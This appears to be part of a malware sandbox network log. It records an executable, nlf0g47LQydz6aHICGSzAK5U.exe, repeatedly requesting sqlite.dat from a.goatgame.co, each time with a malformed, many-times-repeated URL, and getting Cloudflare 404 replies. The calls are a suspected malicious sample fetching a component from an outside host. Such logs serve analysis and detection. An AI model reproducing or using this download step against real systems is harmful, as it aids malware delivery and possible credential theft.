                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:11 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=IkmpwMlUJh%2BnJsyEP2nXx1wBz%2BPNNhWXajxoWuti9jWhzoTt7BByxEe7OFaL9CpNRFGbML0dft03aCTudZbk8jifGnqryrbp%2FYTQOMESbjqtnwWusYH7bECGHB%2FYtNuh"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682329638c391e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:12 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=QxXKXwlMyjRH9jkCb1e3YJ0ITvgBViFDuc56nMkkZBx%2BI%2F3%2BlmD%2BGedBSh95%2BGxZVdBSgsqYj934ztgVXp0QEtlOVnCgFv0j4R8InVXjrqhwHZ%2FP1haRpZF0zieC6Evc"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823296bce551e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:14 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=W8u70NsFrcyMrA8jG13M8mHCvGdbHzXt9ipvFYcSS0mboyT4ajPU%2Blft42Aa96vAAI2zJgvjt%2B5vBHJLlo0OqYpIVe90dIrJNGFRhtJFO0U3PYbOUnH%2Bc9BgXcb0PK5f"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682329736f9d1e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:15 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=iqHCwx5d22sSrZ%2BwFaAvCOiRlXhw2IFQdsY%2FyGgZJLmepwT%2BMwMKRSGMRvI5qsU0wHz0NKsJkkbEIu%2Bni535868p5VxyNqu8o9dDjtiNzAGtSfZfs0I%2FGM9LeIiaLf%2F%2F"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682329796e361e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:16 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=OYnI4fMB%2BfoxSKpIxWZ4hM301JIzq0%2FpDdjcYorDmOvo5NmIZqOjqvTlOfEOlOXsi%2FEvVKuNOhqN7UR1lXwA4H%2B4dehNqonuIyBbzHuix%2BVdEn7s0YHgtj34lWLIx0Gh"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823297ffeba1e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
